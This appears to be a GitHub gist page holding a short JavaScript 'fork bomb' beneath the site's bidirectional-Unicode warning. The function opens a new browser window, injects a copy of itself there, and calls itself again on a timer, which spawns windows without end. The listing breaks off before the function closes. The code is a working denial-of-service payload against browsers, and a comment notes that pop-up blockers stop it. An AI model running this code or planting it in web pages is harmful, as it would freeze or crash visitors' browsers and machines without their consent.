This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Make sure to allow pop ups, or your browser will stop the window.open() (thankfully) | |
function fork() { | |
const win = window.open(); | |
const script = win.document.createElement("script"); | |
script.innerHTML = fork + "\n" + "fork();"; | |
win.document.head.appendChild(script); | |
setTimeout(function() { | |
win.close(); | |
fork(); |